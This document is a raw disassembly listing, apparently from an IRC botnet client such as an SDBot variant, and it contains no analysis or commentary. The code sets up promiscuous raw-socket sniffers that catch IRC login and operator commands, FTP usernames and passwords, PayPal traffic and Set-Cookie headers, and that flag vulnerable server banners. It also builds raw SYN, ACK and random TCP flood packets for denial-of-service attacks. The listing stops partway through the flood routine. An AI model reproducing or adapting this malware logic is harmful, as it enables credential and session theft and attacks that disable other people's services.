push [ebp+var_DC]
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_4126A7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B61 proc near ; DATA XREF: sub_401ACD+4150o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
Str = byte ptr -1028Ch
Dest = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call __alloca_probe
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call dword_4CB9D4 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_412C36
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_43759C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C19
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409869
add esp, 14h
loc_412C19: ; CODE XREF: sub_412B61+96j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_412C36: ; CODE XREF: sub_412B61+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_43E91C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_412CBB
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437570 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412C97
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409869
add esp, 14h
loc_412C97: ; CODE XREF: sub_412B61+114j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_412CBB: ; CODE XREF: sub_412B61+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_4CB980 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_412D3E
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437540 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_412D1A
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409869
add esp, 14h
loc_412D1A: ; CODE XREF: sub_412B61+197j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
loc_412D3E: ; CODE XREF: sub_412B61+177j
push ebx
mov ebx, offset a_login ; ":.login"
loc_412D44: ; CODE XREF: sub_412B61+21Bj
; sub_412B61+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz loc_412E71
cmp [ebp+var_102AB], 6
jnz short loc_412D44
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_412D44
lea eax, [ebp+Str]
push offset aPsniff_0 ; "[PSNIFF]"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
lea eax, [ebp+Str]
push offset asc_437524 ; "-"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412D44
mov eax, ebx
xor edi, edi
test eax, eax
jz loc_412D44
mov [ebp+arg_0], ebx
loc_412DCD: ; CODE XREF: sub_412B61+287j
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412DEF
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_412DCD
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412DEF: ; CODE XREF: sub_412B61+27Dj
lea eax, [ebp+Str]
push eax
push [ebp+var_102A0]
call dword_4CB904 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, dword_436C6C[eax*8]
push off_436C48[eax*4]
lea eax, [ebp+Dest]
push offset asc_4374F0 ; "-"
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_412E5F
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409869
add esp, 14h
loc_412E5F: ; CODE XREF: sub_412B61+2DCj
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
jmp loc_412D44
; ---------------------------------------------------------------------------
loc_412E71: ; CODE XREF: sub_412B61+20Ej
call dword_4CB968 ; WSAGetLastError
push eax
push offset asc_4374C4 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_412EB7
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_409869
add esp, 14h
loc_412EB7: ; CODE XREF: sub_412B61+334j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_30]
call sub_40B6D6
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
sub_412B61 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_412EDD proc near ; CODE XREF: sub_4131EC+213p
; sub_4131EC+239p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_4CE734, eax
mov eax, offset dword_4CE734
retn
sub_412EDD endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_412EEC(char *Str)
sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aBotSniff ; "Bot sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412F06
loc_412F02: ; CODE XREF: sub_412EEC+29j
; sub_412EEC+3Aj ...
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F06: ; CODE XREF: sub_412EEC+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_1 ; "[PSNIFF]:"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aPsniff_2 ; "PSNIFF//"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F02
push offset aJoin_0 ; "JOIN #"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_412F4E
loc_412F4A: ; CODE XREF: sub_412EEC+71j
; sub_412EEC+82j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_412F4E: ; CODE XREF: sub_412EEC+5Cj
; DATA XREF: .data:off_43ACE0o
push offset a302 ; "302 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a366 ; "366 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_0 ; ":.login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin ; ":!login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aLogin_0 ; ":!Login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_login_1 ; ":.Login"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset a_ident ; ":.ident"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_412F4A
push offset aIdent_0 ; ":!ident"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset a_hashin ; ":.hashin"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz loc_412F4A
push offset aHashin ; ":!hashin"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_412EEC endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_413003(char *Str)
sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aIrcSniff ; "IRC sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41301D
loc_413019: ; CODE XREF: sub_413003+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41301D: ; CODE XREF: sub_413003+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_413019
push offset aOper ; "OPER "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_413043
loc_41303F: ; CODE XREF: sub_413003+4Fj
; sub_413003+60j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413043: ; CODE XREF: sub_413003+3Aj
push offset aNick_1 ; "NICK "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aOper_0 ; "oper "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41303F
push offset aYouAreNowAnIrc ; "You are now an IRC Operator"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413003 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_413079(char *Str)
sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aFtpSniff ; "FTP sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_413093
loc_41308F: ; CODE XREF: sub_413079+29j
; sub_413079+3Aj
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_413093: ; CODE XREF: sub_413079+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset aNick_1 ; "NICK "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41308F
push offset a220 ; "220 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4130CA
loc_4130C6: ; CODE XREF: sub_413079+60j
; sub_413079+71j
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4130CA: ; CODE XREF: sub_413079+4Bj
push offset a230 ; "230 "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aUser_2 ; "USER "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4130C6
push offset aPass_0 ; "PASS "
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413079 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_413100(char *Str)
sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aHttpSniff ; "HTTP sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41311A
loc_413116: ; CODE XREF: sub_413100+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_41311A: ; CODE XREF: sub_413100+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_413116
push offset aPaypal ; "paypal"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_413140
loc_41313C: ; CODE XREF: sub_413100+4Fj
; sub_413100+60j ...
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_413140: ; CODE XREF: sub_413100+3Aj
push offset aPaypal_0 ; "PAYPAL"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com ; "PAYPAL.COM"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aPaypal_com_0 ; "paypal.com"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41313C
push offset aSetCookie ; "Set-Cookie:"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413100 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_413187(char *Str)
sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p
Str = dword ptr 4
push esi
mov esi, [esp+4+Str]
push offset aVulnSniff ; "VULN sniff"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4131A1
loc_41319D: ; CODE XREF: sub_413187+29j
xor al, al
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131A1: ; CODE XREF: sub_413187+14j
push offset aFaak ; "#FAAK#"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_41319D
push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4131C7
loc_4131C3: ; CODE XREF: sub_413187+4Fj
mov al, 1
pop esi
retn
; ---------------------------------------------------------------------------
loc_4131C7: ; CODE XREF: sub_413187+3Aj
push offset aServUFtpServer ; "Serv-U FTP Server"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4131C3
push offset aOpenssh_2 ; "OpenSSH_2"
push esi ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
pop esi
setnz al
retn
sub_413187 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o
Dst = byte ptr -113B8h
var_113AF = byte ptr -113AFh
var_113AC = dword ptr -113ACh
var_113A8 = dword ptr -113A8h
var_113A4 = dword ptr -113A4h
Str = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
Dest = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4CB9E8 ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4CBA58 ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx ; Size
push dword ptr [eax] ; Src
lea eax, [ebp+var_8]
push eax ; Dst
call _memcpy
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413292
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413292: ; CODE XREF: sub_4131EC+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_413308
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437870 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4132E4
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409869
add esp, 14h
loc_4132E4: ; CODE XREF: sub_4131EC+D6j
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB980 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_437840 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+Dest]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+Dst]
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9EC ; recv
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, ds:dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
call ds:dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
call ds:dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_6 ; "%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
mov [ebp+var_4], ebx
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+Str], 0Dh
lea eax, [ebp+eax+Str]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+Str]
push eax ; Str
call _strlen
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+Str]
push eax ; Str
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43780C
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+Str]
push eax ; Str
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377D8
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+Str]
push eax ; Str
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377A4
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+Str]
push eax ; Str
call sub_413100
test al, al
pop ecx
lea eax, [ebp+Str]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset asc_43776C ; "-"
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437734
jmp short loc_413573
sub_4131EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135DF proc near ; DATA XREF: sub_401ACD+6464o
Dest = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = dword ptr -18Ch
Str = byte ptr -10Ch
Str1 = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
lea eax, [ebp+var_18C]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+var_20C]
push eax ; Str
lea eax, [ebp+var_28C]
push eax ; int
call sub_4139CB
add esp, 14h
push eax
lea eax, [ebp+Dest]
push offset asc_43789C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_413672
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_294] ; int
call sub_409869
add esp, 14h
loc_413672: ; CODE XREF: sub_4135DF+71j
lea eax, [ebp+Dest]
push eax
call sub_415D38
push [ebp+var_290]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4135DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_413694(int,int,char *Str1,int,int)
sub_413694 proc near ; CODE XREF: sub_4139CB+40p
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
Dst = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str1 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944 ; WSAStartup
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9D4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9D4 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9D4 ; htons
mov [ebp+var_12], ax
call _rand
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9D0 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9D4 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
